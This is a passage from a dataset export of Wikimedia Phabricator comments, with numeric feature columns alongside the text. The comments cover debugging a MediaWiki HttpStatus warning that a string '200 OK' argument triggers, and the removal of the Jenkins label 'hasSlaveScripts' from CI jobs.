The relevant commits added no new uses of http status codes. I've walked through it twice to confirm. I'm reasonably certain that this is an existing problem we were unable to detect before because there was no error handling, this kind of scenario was previously silently ignored."
472981,Unknown HTTP status code 200 OK in /srv/mediawiki/php-1.26wmf9/includes/libs/HttpStatus.php on line 100,"https://gerrit.wikimedia.org/r/#/c/215032/6/includes/libs/HttpStatus.php
```
* @param int $code Status code
*/
public static function header( $code ) {
..
trigger_error( ""Unknown HTTP status code $code"", E_USER_WARNING );
```
This method takes an integer.


>>!@mmodell wrote
> From Fatalmonitor: `Unknown HTTP status code 200 OK in /srv/mediawiki/php-1.26wmf9/includes/libs/HttpStatus.php on line 100`

This suggests something is calling it with the string ""200 OK"".
",,,1434034078,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ykxb27mfezdexexjno32,task_subcomment,,True,c3,1,True,,,-3,True,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,17.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,2.0,7.0,10.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.9285714285714284,0.7619047619047619,"URL
``CODE`CODEUnknown HTTP status code 200 OK in /srv/mediawiki/php-1.26wmf9/includes/libs/HttpStatus.php on line 100`

This suggests something is calling it with the string ""200 OK"".
"
472979,Unknown HTTP status code 200 OK in /srv/mediawiki/php-1.26wmf9/includes/libs/HttpStatus.php on line 100,"https://gerrit.wikimedia.org/r/#/c/215032/6/includes/libs/HttpStatus.php
```
* @param int $code Status code
*/
public static function header( $code ) {
..
trigger_error( ""Unknown HTTP status code $code"", E_USER_WARNING );
```
This method takes an integer.
",,,1434034042,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ykxb27mfezdexexjno32,task_subcomment,,True,c3,1,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,20.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,2.6,0.6666666666666666,"URL
``CODE``
This method takes an integer.
"
472856,Unknown HTTP status code 200 OK in /srv/mediawiki/php-1.26wmf9/includes/libs/HttpStatus.php on line 100,CC ing author @krinkle and +2ers @bd808 and @aaron,,,1434020520,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ykxb27mfezdexexjno32,task_subcomment,,True,c3,1,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.166666666666666,1.0,CC ing authorSCREEN_NAME and +2ersSCREEN_NAME andSCREEN_NAME
472855,Unknown HTTP status code 200 OK in /srv/mediawiki/php-1.26wmf9/includes/libs/HttpStatus.php on line 100,"Might be due to the recent http status changes:

* https://gerrit.wikimedia.org/r/#/c/215032/ HttpStatus: Implement header() method
* https://gerrit.wikimedia.org/r/#/c/215033/ //WebResponse: Implement statusHeader() using the new HttpStatus::header()//",,,1434020485,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ykxb27mfezdexexjno32,task_subcomment,,True,c3,1,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,21.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.666666666666667,0.7575757575757576,"Might be due to the recent http status changes:

* URL HttpStatus: Implement header() method
* URL //WebResponse: Implement statusHeader() using the new HttpStatus::header()//"
472854,Unknown HTTP status code 200 OK in /srv/mediawiki/php-1.26wmf9/includes/libs/HttpStatus.php on line 100,Might be due to https://gerrit.wikimedia.org/r/#/c/215033/ //WebResponse: Implement statusHeader() using the new HttpStatus::header()//,,,1434020423,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ykxb27mfezdexexjno32,task_subcomment,,True,c3,1,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,27.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,5.666666666666667,1.0,Might be due to URL //WebResponse: Implement statusHeader() using the new HttpStatus::header()//
101966,"Remove use of label ""hasSlaveScripts"" in jobs","hasSlaveScripts should also be available on labs slaves, not only production slaves. It seems the scripts are there but the slaves are not tagged that way. Perhaps the solution is to remove the tag if every slave has them.

To find all such jobs:

    ssh gallium.wikimedia.org 'grep -l hasSlaveScripts /var/lib/jenkins/jobs/*/config.xml|cut -d\/ -f6'


That is all the -jslint jobs and:

[X] erblint-HEAD https://gerrit.wikimedia.org/r/222283
[X] jshint - https://gerrit.wikimedia.org/r/222115
[X] jsonlint - https://gerrit.wikimedia.org/r/222115
[X] *-jslint - https://gerrit.wikimedia.org/r/222115
[X] mediawiki-core-jslint https://gerrit.wikimedia.org/r/222281
[X] mediawiki-core-phpcs **unused** dropped by https://gerrit.wikimedia.org/r/222282
[X] mediawiki-core-whitespaces  https://gerrit.wikimedia.org/r/222280
[X] mwext-CirrusSearch-whitespaces  https://gerrit.wikimedia.org/r/222280
[X] mediawiki-core-phpcs-HEAD https://gerrit.wikimedia.org/r/222123
[X] mwext-.*-phpcs-HEAD https://gerrit.wikimedia.org/r/222123
[X] operations-puppet-pep8 https://gerrit.wikimedia.org/r/217249 
[X] operations-puppet-test https://gerrit.wikimedia.org/r/217249 
[X] parsoidsvc-php-parsertests https://gerrit.wikimedia.org/r/222577
[X] perllint https://gerrit.wikimedia.org/r/217503
[X] pplint-HEAD https://gerrit.wikimedia.org/r/217504",Medium,50.0,1433931489,1435928447.0,PHID-USER-mdihg2tyzmlvyhn3h32y,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-bqd76hty3bieohxzwzaw,task_description,resolved,True,c3,1,True,False,True,-4,True,1.0,0.0,0.0,0.3333333333333333,0.6666666666666666,5.333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,2.0,1.6666666666666667,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,1.6666666666666667,0.0,0.3333333333333333,0.0,0.0,0.0,16.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,1.6666666666666667,1.6666666666666667,15.333333333333334,0.3333333333333333,0.6666666666666666,3.3333333333333335,0.0,0.0,0.0,0.0,1.0,0.3333333333333333,0.0,0.0,0.6666666666666666,1.6666666666666667,7.666666666666667,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,17.0,3.7945205479452055,0.4840182648401827,"hasSlaveScripts should also be available on labs slaves, not only production slaves. It seems the scripts are there but the slaves are not tagged that way. Perhaps the solution is to remove the tag if every slave has them.

To find all such jobs:

    ssh gallium.wikimedia.org 'grep -l hasSlaveScripts /var/lib/jenkins/jobs/*/config.xml|cut -d\/ -f6'


That is all the -jslint jobs and:

[X] erblint-HEAD GERRIT_URL
[X] jshint - GERRIT_URL
[X] jsonlint - GERRIT_URL
[X] *-jslint - GERRIT_URL
[X] mediawiki-core-jslint GERRIT_URL
[X] mediawiki-core-phpcs **unused** dropped by GERRIT_URL
[X] mediawiki-core-whitespaces  GERRIT_URL
[X] mwext-CirrusSearch-whitespaces  GERRIT_URL
[X] mediawiki-core-phpcs-HEAD GERRIT_URL
[X] mwext-.*-phpcs-HEAD GERRIT_URL
[X] operations-puppet-pep8 GERRIT_URL 
[X] operations-puppet-test GERRIT_URL 
[X] parsoidsvc-php-parsertests GERRIT_URL
[X] perllint GERRIT_URL
[X] pplint-HEAD GERRIT_URL"
486215,"Remove use of label ""hasSlaveScripts"" in jobs",The Jenkins label `hasSlaveScripts` is now gone !,,,1435928447,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,3,True,,,0,True,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,38.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.625,1.0,The Jenkins label CODE is now gone !
486214,"Remove use of label ""hasSlaveScripts"" in jobs","Change 222579 merged by jenkins-bot:
Remove last occurence of label 'hasSlaveScripts'

[[https://gerrit.wikimedia.org/r/222579]]",,,1435928420,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.0,0.8695652173913043,"Change 222579 merged by jenkins-bot:
Remove last occurence of label 'hasSlaveScripts'

[[GERRIT_URL]]"
486211,"Remove use of label ""hasSlaveScripts"" in jobs","Change 222579 had a related patch set uploaded (by Hashar):
Remove last occurence of label 'hasSlaveScripts'

[[https://gerrit.wikimedia.org/r/222579]]
",,,1435928277,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.9642857142857144,0.8571428571428571,"Change 222579 had a related patch set uploaded (by Hashar):
Remove last occurence of label 'hasSlaveScripts'

[[GERRIT_URL]]
"
486209,"Remove use of label ""hasSlaveScripts"" in jobs","Change 222577 merged by jenkins-bot:
Migrate parsoidsvc-php-parsertests to labs

[[https://gerrit.wikimedia.org/r/222577]]",,,1435928111,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.8260869565217392,0.8260869565217391,"Change 222577 merged by jenkins-bot:
Migrate parsoidsvc-php-parsertests to labs

[[GERRIT_URL]]"
486206,"Remove use of label ""hasSlaveScripts"" in jobs","Change 222577 had a related patch set uploaded (by Hashar):
Migrate parsoidsvc-php-parsertests to labs

[[https://gerrit.wikimedia.org/r/222577]]
",,,1435927744,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.8214285714285716,0.8571428571428571,"Change 222577 had a related patch set uploaded (by Hashar):
Migrate parsoidsvc-php-parsertests to labs

[[GERRIT_URL]]
"
485522,"Remove use of label ""hasSlaveScripts"" in jobs","Change 222283 merged by jenkins-bot:
Migrate erblint-HEAD to labs slave (still on Precise)

[[https://gerrit.wikimedia.org/r/222283]]",,,1435840008,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.5185185185185186,0.8888888888888888,"Change 222283 merged by jenkins-bot:
Migrate erblint-HEAD to labs slave (still on Precise)

[[GERRIT_URL]]"
485521,"Remove use of label ""hasSlaveScripts"" in jobs","Change 222283 had a related patch set uploaded (by Hashar):
Migrate erblint-HEAD to labs slave (still on Precise)

[[https://gerrit.wikimedia.org/r/222283]]
",,,1435839877,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.5625,0.875,"Change 222283 had a related patch set uploaded (by Hashar):
Migrate erblint-HEAD to labs slave (still on Precise)

[[GERRIT_URL]]
"
485517,"Remove use of label ""hasSlaveScripts"" in jobs","Change 222282 merged by jenkins-bot:
Stop generating mediawiki-core-phpcs (ununsed)

[[https://gerrit.wikimedia.org/r/222282]]",,,1435839644,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,3.68,0.84,"Change 222282 merged by jenkins-bot:
Stop generating mediawiki-core-phpcs (ununsed)

[[GERRIT_URL]]"
485516,"Remove use of label ""hasSlaveScripts"" in jobs","Change 222282 had a related patch set uploaded (by Hashar):
Stop generating mediawiki-core-phpcs (ununsed)

[[https://gerrit.wikimedia.org/r/222282]]
",,,1435839483,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,3.7,0.8333333333333334,"Change 222282 had a related patch set uploaded (by Hashar):
Stop generating mediawiki-core-phpcs (ununsed)

[[GERRIT_URL]]
"
485515,"Remove use of label ""hasSlaveScripts"" in jobs","Change 222281 merged by jenkins-bot:
Migrate mediawiki-core-jslint to labs (on Trusty)

[[https://gerrit.wikimedia.org/r/222281]]",,,1435839446,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.4444444444444446,0.8518518518518519,"Change 222281 merged by jenkins-bot:
Migrate mediawiki-core-jslint to labs (on Trusty)

[[GERRIT_URL]]"
485513,"Remove use of label ""hasSlaveScripts"" in jobs","Change 222281 had a related patch set uploaded (by Hashar):
Migrate 'mediawiki-core-jslint to labs (on Trusty)

[[https://gerrit.wikimedia.org/r/222281]]
",,,1435839266,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.4242424242424243,0.8484848484848485,"Change 222281 had a related patch set uploaded (by Hashar):
Migrate 'mediawiki-core-jslint to labs (on Trusty)

[[GERRIT_URL]]
"
485512,"Remove use of label ""hasSlaveScripts"" in jobs","Change 222280 merged by jenkins-bot:
Migrate whitespaces jobs to labs (on Trusty)

[[https://gerrit.wikimedia.org/r/222280]]",,,1435839134,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.625,0.9166666666666666,"Change 222280 merged by jenkins-bot:
Migrate whitespaces jobs to labs (on Trusty)

[[GERRIT_URL]]"
485511,"Remove use of label ""hasSlaveScripts"" in jobs","Change 222280 had a related patch set uploaded (by Hashar):
Migrate whitespaces jobs to labs (on Trusty)

[[https://gerrit.wikimedia.org/r/222280]]
",,,1435838973,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.6551724137931036,0.8620689655172413,"Change 222280 had a related patch set uploaded (by Hashar):
Migrate whitespaces jobs to labs (on Trusty)

[[GERRIT_URL]]
"
485478,"Remove use of label ""hasSlaveScripts"" in jobs","Current status:
```
$ ssh gallium.wikimedia.org 'grep -l hasSlaveScripts /var/lib/jenkins/jobs/*/config.xml|cut -d\/ -f6'
erblint-HEAD
mediawiki-core-jslint
mediawiki-core-phpcs
mediawiki-core-whitespaces
mwext-CirrusSearch-whitespaces
parsoidsvc-php-parsertests
```",,,1435834405,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,3,True,,,0,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5555555555555554,0.6666666666666666,"Current status:
``CODE``"
485476,"Remove use of label ""hasSlaveScripts"" in jobs","Current status:
```
$ ssh gallium.wikimedia.org 'grep -l hasSlaveScripts /var/lib/jenkins/jobs/*/config.xml|cut -d\/ -f6'
erblint-HEAD
mediawiki-core-jslint
mediawiki-core-phpcs
mediawiki-core-whitespaces
mwext-CirrusSearch-whitespaces
mwext-Hanp-jslint
operations-puppet-spec
parsoidsvc-php-parsertests
wikimedia-fundraising-tools-jslint
